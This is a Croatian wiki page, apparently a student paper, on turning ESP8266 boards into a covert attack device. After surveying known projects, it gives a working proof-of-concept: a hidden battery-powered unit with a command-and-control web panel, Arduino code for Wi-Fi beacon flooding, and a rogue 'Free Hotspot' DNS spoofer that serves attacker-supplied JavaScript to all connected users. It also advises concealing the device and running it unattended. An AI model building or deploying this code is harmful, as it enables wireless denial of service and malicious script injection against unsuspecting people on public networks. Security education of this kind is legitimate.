Sljedeći članak opisuje izgradnju uređaja koji izbacuje uređaje povezane na neku pristupnu točku. Autor koristi dvije ESP8266 pločice. S jednom pločicom obavlja se sniffanje prometa i identifikacija povezanih uređaja, a sa drugim uređajem šalju se tzv. deautentikacijski okviri. Po prispjeću deautentikacijskih okvira na spojeni uređaj, isti se odjavljuje sa te pristupne točke te korisnik ostaje bez pristupa mreži.

Slika 42. ESP8266 Jammer

Izvor: https://hackaday.io/post/30838

WiFi AP flooding

Autor članka koristi wifi_send_pkt_freedom() funkciju iz službenog SDK kako bi slao okvire koji su slobodno konstruirani, tj. nije potreban nikakav protokol koji im prethodi. Autor stoga konstruira paket kojim se pristupne točke oglašavaju (aktivno oglašavanje) te odašilje otvoreno odašilje takve okvire. Rezultat je taj da svi koji su u neposrednoj blizini vide jako puno zapravo nepostojićih pristupnih točaka, pa se time stvara velika buka u mrežnom prostoru.

Slika 43. ESP8266 AP Flood

Izvor: http://ruralhacker.blogspot.hr/2016/01/esp8266-jamming.html, https://github.com/kripthor/WiFiBeaconJam, https://www.youtube.com/watch?v=ENWX5Vf_l1Y

Universal Serial aBUSe

Autori koriste Teensy pločicu u kombinaciji sa ESP8266 kako bi kreirali lažni USB periferni uređaj (tipkovnica/miš) i omogućili napadaću pristup na računalo putem VNC-a. Autori koriste općenitu nezaštićenost USB portova od ovakvih napada.

Slika 44. USB Abuse

Izvor: https://sensepost.com/blog/2016/universal-serial-abuse/, https://www.youtube.com/watch?v=5gMvtUq30fA, https://github.com/sensepost/USaBUSe

Mini Wifi Sniffer

U ovom primjeru autor je napravio funkcionalni sniffer koji ispisuje oglašavanje pristupnih točaka, i slanje upita uređaja (probe request) za oglasom pristupnih točaka. Iako ovo nije sniffer u punom smislu, vrlo je zanimljiv zbog jednostavne imeplementacije.

Slika 46. ESP8266 Sniffer

Izvor: https://www.hackster.io/rayburne/esp8266-mini-sniff-f6b93a

Implementacija

U ovom poglavlju bavimo se proof of concept implementacijom. Implementacija treba pokazati mogućnost korištenja u ofenzivnoj sigurnosti, tj. u penetracijskom testiranju. Implementacija nikako ne predstavlja sve mogućnosti NodeMCU ESP2866 pločice, već pokazuje samo mali dio.

Arhitektura

Dizajn sustava napravljen je prema sljedećoj zamisli. Korisnik bi trebao moći uređajima upravljati ili putem weba, ili putem lokalne mreže u neposrednoj blizini. Uređaji bi bili postavljeni na lokaciju od interesa za samog napadača. Na primjer, u blizini pristupne točke, u nečijem uredu ili pak na javnom mjestu - lokaciju interesa određuje napadač. Uređaj bi se, u glavnini, sastojao od dvije NodeMCU pločice povezane serijski te izvora struje - baterijskog članka. Jedna od pločica (CommandAndControl Node) prihvaćala bi upute sa webservisa, ili bi se spajala na pristupnu točku napadača, ili bi pak bila pristupna točka na koju se napadač može spojiti, i upravljati uređajem. Kada CommandAndControl pločica dobije naredbu za izvršavanjem određenog zadatka, istu prosljeđuje drugoj, Execute Node, pločici, koja isti zadatak izvršava, ili u slučaju da su za zadatak potrebne obje pločice, tada pločice isti zadatak simultano izvršavaju. Ukoliko je potreban izvještaj, CommandAndControl pločica šalje podatke natrag napadaču. Na sljedećoj skici dan je prikaz navedene arhitekture sustava.

Slika 36. C&C koncept arhitekture sustava u ovome projektu

Hardverska implementacija

Slika 39. SAMSUNG ICR 18650-26F baterijski članci sa regulatorom i indikatorom potrošnje - korišteni u implementaciji
Slika 40. Female-to-female kabeli za pinove
Slika 41. Grafički prikaz spajanja hardvera (krivi prikaz baterije)


Za implementaciju gore objašnjene arhitekture korišten je sljedeći hardver:

Ukupna cijena hardvera: $26, cca. 190 kn.

Spajanje hardvera

Hardver je spojen na sljedeći način. CommandAndControl pločica spojena je na izvor napajanja putem USB kabela sa prekidačem. Execute pločica spaja se na CommanAndControl pločicu, tako da se naponski vod jedne pločice (Vcc) spoji na naponski vod druge, a isto tako i uzemljenje (Gnd). Serijska komunikacija ostvarena je spajanjem UART vodova Tx (Transmit) i Rx (Receive), tako da se Tx vod jedne pločice spaja na Rx vod druge i obrnuto. Elektronička shema spajanja dana je na sljedećem prikazu.

Slika 37. Elektronička shema spajanja hardvera

Primjetimo, gornji prikaz nije u potpunosti točan jer ne prikazuje spajanje izvora na regulirani ulaz već je prikazano direktno spajanje. Konačni spoj hardvera dan je na prikazu ispod:

Slika 38. Konačni spoj hardvera

Baterija

Slika 42. Mjerenje napona baterisjkih članaka

Treba voditi poseban oprez pri odabiru baterije jer ove specifične pločice ne toleriraju napon veći od 10V. Baterija je u ovom slučaju spojena preko USB sučelja na samoj pločici, a razlog je taj što pločica na sebi ima regulator napona, te ostale mehanizme za kontrolu potrošnje, koji su dostupni samo ako se koristi USB ulaz. Stoga, nije preporučeno bateriju spajati direktno na naponski vod, odnosno uzemljenje, no ako se već spaja direktno, napon bi trebao biti ~3.3V i trebao bi se koristiti regulator napona, kako ne bi došlo do oštećenja uređaja.

Baterija je vrlo važna stavka kod planiranja napada. Ukoliko napadač nema stalni pristup mjestu napada, ili pak ne želi biti u blizini napada koji će biti izvršen, tada uređaj treba biti u mogućnosti biti u pripravnosti i čekati na naredbu za izvršavanje određene radnje. Mogućnost bivanja u pripravnosti u velikoj mjeri određuje baterija kakvu koristimo u njemu, jer uređaj moži biti u pripravnosti onoliko vremena koliko mu to baterija dopušta. Trajanje baterije ovisi o njenoj kakvoći, kapacitetu i vanjskim utjecajim - pogotovo temperaturi. U implementaciji koristimo Li-ion baterijske članke kapaciteta 5200 mAh i napona 3.7 volta.

Općenito, za okvirno računanje trajanja baterije u satima možemo koristiti sljedeću formulu:


3fmq73-1.png,

gdje je 0.7 faktor utjecaja vremenskih uvijeta i samostalno pražnjenje tijekom vremena.


Ako uzmemo srednje vrijednosti, te u račun uključimo obje pločice, dobivamo sljedeću tablicu trajanja korištenja (za potošnju su uzete vrijednosti sa stranice trgovca i baterija koja služi u implementaciji):

Opis korištenja Potrošnja Trajanje u satima
Kontinuirana komunikacija, normalan način rada 140 mA 26 h (1 dan)
U pripravnosti (Light sleep - Slika 13) 2 mA 1820 (72 dana)
U pripravnosti (Deep sleep - Slika 13) 0.4 mA 9100 (379 dana)

3D printano kućište

Kako bi zaštitili i maskirali hardver potrebno nam je kućište, pa je stoga napravljeno i specijalno kućište koje odgovara dimenzijama korištenog hardvera. Primjetite, na kućištu postoje dodatni otvori za planirane nadogradnje, poput ethernet porta.

Slika 49. Kućište za 3D print

3D objekt za printanje dostupan je na za preuzimanje na sljedećem linku https://www.tinkercad.com/things/kkx3c1RP4c8-sisbox-full/editv2?sharecode=SXJGaFZfwJFloNcvvgK3lET0z3qwlq5UC3dnjBxQYq4=

Slika 50. 3D print

Implementacija funkcionalnosti

U ovom dijelu pojasniti ćemo proof of concept implementaciju sljedećih funkcionalnosti:

  1. Serijska komunikacija između Node-ova (C&C vs. Execute)
  2. Komunikacija s napadačem
    1. putem lokalne bežićne mreže
  3. (D)DOS
    1. SSID beacon flooding
    2. DeAuth jamming (još nije implementirano)
    3. Null Probe response flooding (još nije implementirano)
  4. DNS spoofing

Serijska komunikacija između Node-ova (C&C vs. Execute)

Kako je pojašnjeno u prethodnom poglavlju, koje govori o implementaciji hardvera, za komunikaciju između nodeova koristi se serijska veza. Kako ne bi morali raditi na low lewel komunikaciji, korištena je biblioteka EasyTransfer (https://github.com/madsci1016/Arduino-EasyTransfer). Spomenuta biblioteka omogućava kreiranje vlastite strukture paketa koji se šalje između povezanih uređaja.

Slika 50. Blok dijagram spajanja nodeova

U implementaciji je napravljena struktura sljedećeg oblika:

struct PACKET {
	int command;
	int param;
	char value[255];
};

gdje polja imaju sljedeći značaj:

Komunikacija s napadačem

Komunikacija s napadačem odvija se putem napadačeve pristupne točke. CommandAndControl node konstantno skenira okolne bežićne mreže i ukoliko detektira da je dostupna mreža koja odgovara unaprijed dogovorenim kredencijalima, tada se na istu mrežu spaja i pokreće webserver. Napadač se tada može direktno spojiti na C&C web panel kojeg poslužuje uređaj. Ovo je primarno iz razloga da se uređaj ne bi mogao tako lako detektirati ukoliko je potreba da ostane skriven.

Slika 50. C&C Web Panel

Kako možemo vidjeti iz priloženog, panel je vrlo jednostavan, poglavito iz razloga što mora biti posluživan sa same pločice. Panel nudi pokretanje operacija svih implementiranih funkcionalnosti. Način rada je sljedeći; kada napadač pokrene neki napad, na server se šalje novi zahtijev sa specifičnim GET parametrima. Nakon toga, webserver obrađuje zahtijev i izvršava potrebnu operaciju.

U nastavku slijedi korisnički ruter:

PACKET requestHandler() {
	// Provjerava se da li se klijent spojio
	PACKET packet;
	client = server.available();
	if (!client) {
		packet.command = -1;
		return packet;
	}

	//Čeka se da klijent pošalje svoj zahtijev
	Serial.println("Novi klijent na C2C panelu!");
	while (!client.available()) {
		delay(1);
	}

	//Čita se prva linija requesta te se čisti korisnički buffer
	String request = client.readStringUntil('\r');
	Serial.println(request);
	client.flush();

        //Klijentu se odgovara sa shodnim zaglavljem i sadržajem
	client.println("HTTP/1.1 200 OK");
	client.println("Content-Type: text/html");
	client.println(""); //  do not forget this one

        //U ovom se dijelu korisnika preusmjerava na potrebnu akciju
	if (request.indexOf("/flo") != -1) {
		int numberOfSeconds = request.substring(request.indexOf("=") + 1,
				request.indexOf(" HTTP")).toInt();
		client.println(html);
		delay(1);
		packet.command = 1;
		packet.param = numberOfSeconds;
	} else if (request.indexOf("/dns") != -1) {
		int numberOfSeconds = request.substring(request.indexOf("d=") + 1,
				request.indexOf("&pay")).toInt();
		const char *payload = request.substring(request.indexOf("pay=") + 4,
				request.indexOf(" HTTP")).c_str();
		client.println(html);
		delay(1);
		packet.command = 2;
		packet.param = numberOfSeconds;
		strcpy(packet.value, payload);
	} else {
		client.println(html);
		delay(1);
		packet.command = 0;
	}
        
        //Backendu se vraća zahtijev u strukturi paketa sa naredbom, parametrom i vrijednošću
	return packet;
}

Dio koda koji obrađuje zaprimljeni paket od korisničkog rutera i šalje odgovarajuću naredbu Execute nodu:

switch (request.command) {
		case -1:
			delay(1000);
			break;
		case 0:
			break;
		case 1:
			packet.command = 1;
			packet.param = request.param;
			strcpy(packet.value, request.value);
			ET.sendData();
			break;
		case 2:
			packet.command = 2;
			packet.param = request.param;
			Serial.println("Strcopy!");
			strcpy(packet.value, request.value);
			Serial.println(packet.value);
			ET.sendData();
			break;
		}

SSID beacon flooding

SSID beacon flooding prva je od implementiranih ofenzivnih funkcionalnosti. Ova funkcionalnost oslanja se na tzv. promiscous modu rada koji dolazi iz službenog ESP8266 SDK-a. U promiscous modu dozvoljeno je konstruirati vlastiti okvir i slobodno ga odaslati. Za mogućnost odašiljanja slobodnih paketa koristi se funkcija wifi_send_pkt_freedom(). Ovo nam omogućuje da konstruiramo vlastiti beacon okvir, čija je zadaća informirati okolne uređaje da WiFi pristupna točka postoji.

Slika 51. Struktura beacon okvira (Izvor: http://www.mdpi.com/1424-8220/14/1/1850/htm)

Navedeno u ovoj funkcionalnosti koristimo kako bismo oglašavali nepostojeće pristupne točke, i to u velikoj količini (tzv, flooding) i tako zaglušili pronalaženje ispravne pristupne točke. Neki uređaji imuni su na ovaj napad jer imaju vrlo mali interval skeniranja mreže, pa se u listi dostupnih pristupnih točaka nađe samo jedan lažan. Na većini uređaja interval je dovoljno velik da budu zahvaćeni ovim napadom.

Slika 52. SSID beacon flooding - screenshot sa Nexus 7 2012. Android uređaja

U nastavku slijedi kod koji implementira funkcionalnost:

namespace SSIDFlood {

byte channel;

//Kreiranje paketa sa statičkim vrijednostima (plain paket)
uint8_t packet[] = { 0x80, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
		0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06,
		0xc0, 0x6c, 0x83, 0x51, 0xf7, 0x8f, 0x0f, 0x00, 0x00, 0x00, 0x64, 0x00,
		0x01, 0x04, 0x00, 0x20, 0x72, 0x72, 0x72, 0x72, 0x72, 0x72, 0x72, 0x72,
		0x72, 0x72, 0x72, 0x72, 0x72, 0x72, 0x72, 0x72, 0x72, 0x72, 0x72, 0x72,
		0x72, 0x72, 0x72, 0x72, 0x72, 0x72, 0x72, 0x72, 0x72, 0x72, 0x72, 0x72,
		0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, 0x03, 0x01,
		0x04 };

//Omogućavanje promiscous moda
void enablePromiscousMode() {
	wifi_station_disconnect();
	wifi_set_opmode(STATION_MODE);
	wifi_promiscuous_enable(1);
}

//Petlja u kojoj se izmjenjuju vrijednosti iz statičnog paketa te se paket odašilje
int startFlooding(int time) {
	enablePromiscousMode();
	int timeInMs = time * 1000;
	while (timeInMs) {
		channel = random(1, 12);
		wifi_set_channel(channel);

		for (int i = 10; i < 22; i++) {
			packet[10] = random(256);
		}

		for (int i = 38; i < 70; i++) {
			packet[i] = wchar_t(random(65480));
		}

		packet[82] = channel;

		wifi_send_pkt_freedom(packet, 83, 0);

		timeInMs -= 1;
		delay(1);
	}

	wifi_promiscuous_enable(0);
	return 1;
}

Treba obratiti pažnju na sljedeće. Espressif je od SDK 1.4 uklonio mogućnost slobodnog slanja paketa, pa je potrebno se prebaciti, ukoliko se koristi Arduino core, na commit 1c5751460b7988041fdc80e0f28a31464cdf97a3.

git checkout 1c5751460b7988041fdc80e0f28a31464cdf97a3

DNS spoofing

Sljedeća funkcionalnost jest DNS spoofing, tj., korištenje lažnog DNS servisa koji namjerno vraća krive DNS zapise, ne bi li korisnika preusmjerio na stranicu sa malicioznim kodom, ili pak phishing stranicu. Konkretno, u trenutnoj implementaciji, napadač može preko C&C panela unijeti Javascipt payload u HEX obliku, a onda ga Execute node servira korisnicima.

Slika 54. Unos Javascript payloada u HEX obliku

Napad se najbolje može očitovati na javnome mjestu, gdje bi bilo dosta korisnika koji bi se spajali na lažnu pristupnu točku sa besplatnim internetom. Kada je korisnik spojen na pristupnu točku, svi DNS requestovi preusmjeravaju se na lokalnog DNS poslužitelja, koji pak za svaki zahtijev poslužuje istu stranicu.

Slika 55. Primamljiva (čitaj lažna) pristupna točka

U nastavku je kod implementacije DNS spoofera:

namespace DNSSpoofer {
	const byte DNS_PORT = 53;
	IPAddress apIP(192, 168, 1, 1);
	DNSServer dnsServer;
	ESP8266WebServer webServer(80);

	char nibble2c(char c)
	{
	   if ((c>='0') && (c<='9'))
	      return c-'0' ;
	   if ((c>='A') && (c<='F'))
	      return c+10-'A' ;
	   if ((c>='a') && (c<='a'))
	      return c+10-'a' ;
	   return -1 ;
	}

	char hex2c(char c1, char c2)
	{
	   if(nibble2c(c2) >= 0)
	     return nibble2c(c1)*16+nibble2c(c2) ;
	   return nibble2c(c1) ;
	}

	String hex2str(char *data)
	{
	   String result = "" ;
	   for (int i=0 ; nibble2c(data[i])>=0 ; i++)
	   {
	      result += hex2c(data[i],data[i+1]) ;
	      if(nibble2c(data[i+1])>=0)
	        i++ ;
	   }
	   return result;
	}

	int startDnsSpoofer(char *payload, int time) {
		WiFi.mode(WIFI_AP);
		WiFi.softAPConfig(apIP, apIP, IPAddress(255, 255, 255, 0));
		WiFi.softAP("Free Hotspot :)");

		dnsServer.setTTL(300);
		dnsServer.setErrorReplyCode(DNSReplyCode::ServerFailure);

		dnsServer.start(DNS_PORT, "*", apIP);

		webServer.onNotFound([&payload]() {
			String message = "<!doctype html><html><head><script>";
			message += hex2str(payload);
			message += "</script><body></body></html>";
			Serial.println(message);
			webServer.send(200, "text/plain", message);
		});

		webServer.begin();

		int timeInMs = time * 1000;
		while (timeInMs) {
			  dnsServer.processNextRequest();
			  webServer.handleClient();
			  timeInMs -= 100;
			  delay(100);
		}
		webServer.stop();
		WiFi.mode(WIFI_STA);
		return 1;
	}
}

Budući rad

Planirano je napraviti još nekoliko nadogradnji i implementacija:

Izvorni kod

Sav izvorni kod dostupan je na Git repozitoriju na adresi: https://github.com/rLoka/ESP8266

Autori od kojih su preuzeti neki dijelovi koda spomenuti su na početku datoteke koja sadrži posuđeni izvorni kod.

Izvorni kod stavljen je u javnu domenu Unlicense licencijom (osim djelova preuzetih od drugih autora koji zadržavaju svoju licenciju):

This is free and unencumbered software released into the public domain.

Anyone is free to copy, modify, publish, use, compile, sell, or
distribute this software, either in source code form or as a compiled
binary, for any purpose, commercial or non-commercial, and by any
means.

In jurisdictions that recognize copyright laws, the author or authors
of this software dedicate any and all copyright interest in the
software to the public domain. We make this dedication for the benefit
of the public at large and to the detriment of our heirs and
successors. We intend this dedication to be an overt act of
relinquishment in perpetuity of all present and future rights to this
software under copyright law.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR
OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
OTHER DEALINGS IN THE SOFTWARE.

For more information, please refer to <http://unlicense.org/>

Zaključak

U ovom radu obrađen je jedan od popularnijih IOT hardvera te su istaknute njegove tehničke karakteristike, mogućnosti, načini rada i korištenje u ofenzivnoj sigurnosti. Pokazano je kako pločica pokriva vrlo specifičnu domenu ofenzivne sigurnosti, a ta je rad na udeljenosti kao prijenosni i skriveni uređaj.

Literatura

  1. Wikipedia, NodeMCU, preuzeto 30.12.2016. sa https://en.wikipedia.org/wiki/NodeMCU
  2. Nicky Woolf, The Guardian,DDoS attack that disrupted internet was largest of its kind in history, experts say, preuzeto 31.12.2016. sa https://www.theguardian.com/technology/2016/oct/26/ddos-attack-dyn-mirai-botnet
  3. Gaillard F., Eieland A., Atmel, Microprocessor (MPU) or Microcontroller (MCU)? What factors should you consider when selecting the right processing device for your next design, preuzeto 31.12.2016. sa http://www.atmel.com/Images/MCU_vs_MPU_Article.pdf
  4. Radovici A., Lecture 5: Electronics for the Internet of Things, preuzeto 31.12.2016. sa http://ocw.cs.pub.ro/courses/iot/courses/05
  5. Wikipedia, System on a chip, preuzeto 08.01.2017. sa https://en.wikipedia.org/wiki/System_on_a_chip
  6. Espriff, ESP8266EX Datasheet, preuzeto 08.01.2017. sa http://espressif.com/sites/default/files/documentation/0a-esp8266ex_datasheet_en.pdf
  7. Wikipedia, Static random-access memory, preuzeto 08.01.2017. sa https://en.wikipedia.org/wiki/Static_random-access_memory
  8. Wikipedia, Wi-Fi Direct, preuzeto 09.01.2017. sa https://en.wikipedia.org/wiki/Wi-Fi_Direct
  9. Wikipedia, Wireless LAN, preuzeto 09.01.2017. sa https://en.wikipedia.org/wiki/Wireless_LAN
  10. Wikipedia, CCMP, preuzeto 09.01.2017. sa https://en.wikipedia.org/wiki/CCMP
  11. Wikipedia, Temporal Key Integrity Protocol, preuzeto 09.01.2017. sa https://en.wikipedia.org/wiki/Temporal_Key_Integrity_Protocol
  12. Wikipedia, WLAN Authentication and Privacy Infrastructure, preuzeto 09.01.2017. sa https://en.wikipedia.org/wiki/Temporal_Key_Integrity_Protocol
  13. Wikipedia, Wired Equivalent Privacy, preuzeto 09.01.2017. sa https://en.wikipedia.org/wiki/Wired_Equivalent_Privacy
  14. Wikipedia, Cyclic redundancy check, preuzeto 09.01.2017. sa https://en.wikipedia.org/wiki/Cyclic_redundancy_check
  15. Wikipedia, Wi-Fi Protected Access, preuzeto 09.01.2017. sa https://en.wikipedia.org/wiki/Wi-Fi_Protected_Access
  16. Wikipedia, Wi-Fi Protected Setup, preuzeto 09.01.2017. sa https://en.wikipedia.org/wiki/Wi-Fi_Protected_Setup
  17. Espriff, ESP8266 Non-OS SDK, API Reference, preuzeto 09.01.2017. sa https://espressif.com/sites/default/files/documentation/2c-esp8266_non_os_sdk_api_reference_en.pdf
  18. Wikipedia, ESP8266, preuzeto 09.01.2017. sa https://en.wikipedia.org/wiki/ESP8266
  19. elecrow.com, ESP-12F WiFi Module (version 1.0), preuzeto 09.01.2017. sa https://www.elecrow.com/download/ESP-12F.pdf
  20. ESP8266.net, The Internet of things with ESP8266, preuzeto 09.01.2017. sa http://esp8266.net
  21. wch.cn, The DataSheet of CH340, preuzeto 09.01.2017. sa https://www.olimex.com/Products/Breadboarding/BB-CH340T/resources/CH340DS1.PDF
  22. Nick Moore, PyCon Australia, ESP8266 and MicroPython, preuzeto 09.01.2017. sa https://www.youtube.com/watch?v=C19fFU-TVWU
  23. Kolban N., Kolban's Book on the ESP32 & ESP8266, preuzeto 10.01.2017. sa https://leanpub.com/ESP8266_ESP32
  24. micropython.org, MicroPython, preuzeto 10.01.2017. sa https://micropython.org/
  25. ESP8266 Community Forum, Arduino core for ESP8266 WiFi chip, preuzeto 11.01.2017. sa https://github.com/esp8266/Arduino

Vanjske poveznice

Također pogledajte

Osobni alati
Imenski prostori
Inačice
Radnje
Orijentacija
Traka s alatima